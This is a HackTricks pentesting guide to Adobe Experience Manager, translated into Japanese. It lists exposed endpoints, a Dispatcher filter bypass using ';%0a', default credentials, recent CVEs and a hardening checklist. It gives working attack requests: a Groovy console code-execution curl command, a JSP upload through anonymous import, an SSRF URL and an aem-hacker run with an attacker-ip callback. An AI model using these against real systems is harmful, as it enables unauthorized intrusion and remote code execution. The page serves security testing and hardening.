AEM (Adobe Experience Manager) Pentesting

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) は、Apache Sling/Felix (OSGi) と Java Content Repository (JCR) の上で動作するエンタープライズCMSです。 攻撃者の視点から見ると、AEMインスタンスは非常に頻繁に危険な開発エンドポイント、弱いDispatcherルール、デフォルトの認証情報、そして四半期ごとにパッチが適用される長いCVEのリストを露出します。

以下のチェックリストは、実際のエンゲージメントで繰り返し現れる外部から到達可能な(認証なしの)攻撃面に焦点を当てています(2022-2025)。


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

他の迅速な指標:

  • /etc.clientlibs/ 静的パスが存在(JS/CSSを返す)。
  • /libs/granite/core/content/login.html 「Adobe Experience Manager」バナー付きのログインページ。
  • </script><!--/* CQ */--> HTMLの下部にあるコメント。

2. 高価値の未認証エンドポイント

パス取得できるものノート
/.json, /.1.jsonDefaultGetServletを介したJCRノードよくブロックされるが、Dispatcherバイパス(下記参照)が機能する。
/bin/querybuilder.json?path=/QueryBuilder APIページツリー、内部パス、ユーザー名の漏洩。
/system/console/status-*, /system/console/bundlesOSGi/Felixコンソールデフォルトで403; もし公開され、認証情報が見つかれば⇒ バンドルアップロードRCE。
/crx/packmgr/index.jspパッケージマネージャー認証されたコンテンツパッケージを許可→ JSPペイロードのアップロード。
/etc/groovyconsole/**AEM Groovyコンソールもし公開されれば→ 任意のGroovy / Java実行。
/libs/cq/AuditlogSearchServlet.json監査ログ情報漏洩。
/libs/cq/ui/content/dumplibs.htmlClientLibsダンプXSSベクター。

Dispatcherバイパスのトリック

ほとんどのプロダクションサイトはDispatcher(リバースプロキシ)の背後にあります。そのフィルタールールは、許可された静的拡張子をセミコロンまたはエンコードされた改行の後に追加することでバイパスできます:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

単一のリクエストは、ユーザープロファイルノードとメールアドレスを頻繁に開示します。P-T Partnersはこの脆弱性に関する良いガイダンスを公開しました。 【】


3. 一般的な誤設定(2025年にも生き残っている)

  1. 匿名POSTサーブレットPOST /.json:operation=import を使用すると、新しいJCRノードを植え付けることができます。Dispatcherで *.json POSTをブロックすることで修正できます。 【】
  2. 世界中から読み取り可能なユーザープロファイル – デフォルトのACLは /home/users/**/profile/* に対して jcr:read を全員に付与します。
  3. デフォルトの資格情報admin:adminauthor:authorreplication:replication
  4. WCMDebugFilter 有効 ⇒ ?debug=layout を介した反射型XSS(CVE-2016-7882、レガシー6.4インストールでまだ発見されています)。
  5. Groovyコンソールが公開されている – Groovyスクリプトを送信することでリモートコード実行が可能です:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. 最近の脆弱性(サービスパックのサイクル)

四半期CVE影響を受ける影響
2024年12月CVE-2024-437116.5.21以前不適切な入力検証 → 任意のコード実行(低権限の認証が必要)。 【】
2024年12月CVE-2024-43724/266.5.21以前Move Page WizardにおけるDOM / ストレージ型XSS。 【】
2023年12月CVE-2023-48452/68≤ 6.5.18作成されたURLを介したDOMベースのXSS。 【】
2022年12月CVE-2022-30683≤ 6.5.13暗号設計の欠陥 → 秘密の復号(低権限の資格情報が必要)。 【】

常に顧客のサービスパックに一致するAPSB bulletinを確認し、最新の 6.5.22 または Cloud Service 2024.11 をリクエストしてください。


5. 悪用スニペット

5.1 DispatcherバイパスによるRCE + JSPアップロード

匿名書き込みが可能な場合:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Now request /content/evil.jsp – JSPはAEMプロセスユーザーで実行されます。

5.2 SSRFからRCEへの攻撃(歴史的 < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.pyaem-hackerからフルチェーンを自動化します。 【】


6. ツール

  • aem-hacker – スイスアーミーナイフの列挙スクリプト、ディスパッチャーバイパス、SSRF検出、デフォルトクレデンシャルチェックなどをサポートします。
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Content Brute-force – 隠れたコンポーネントを発見するために/_jcr_content.(json|html)を再帰的にリクエストします。
  • osgi-infect – クレデンシャルが利用可能な場合、/system/console/bundlesを介して悪意のあるOSGiバンドルをアップロードします。

7. ハードニングチェックリスト(レポートの推奨事項用)

  1. インスタンスを最新の累積サービスパック(2025年7月現在:6.5.22)に保つ。
  2. デフォルトアカウントを削除/ローテーションし、SSO/SAMLを強制する。
  3. ディスパッチャーフィルターを厳格化する – 匿名ユーザーに対して;、エンコードされた改行、*.jsonまたは*.querybuilder.jsonを拒否する。
  4. コンソール(/system/console/crx/*/etc/groovyconsole)をIP許可リストで無効化または保護する。
  5. Adobeが提供する匿名権限ハードニングパッケージを適用する。

参考文献

  • Adobe Security Bulletin APSB24-69 – “Adobe Experience Managerのセキュリティ更新(2024年12月)”。
  • 0ang3el – aem-hackerツール(GitHub)。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする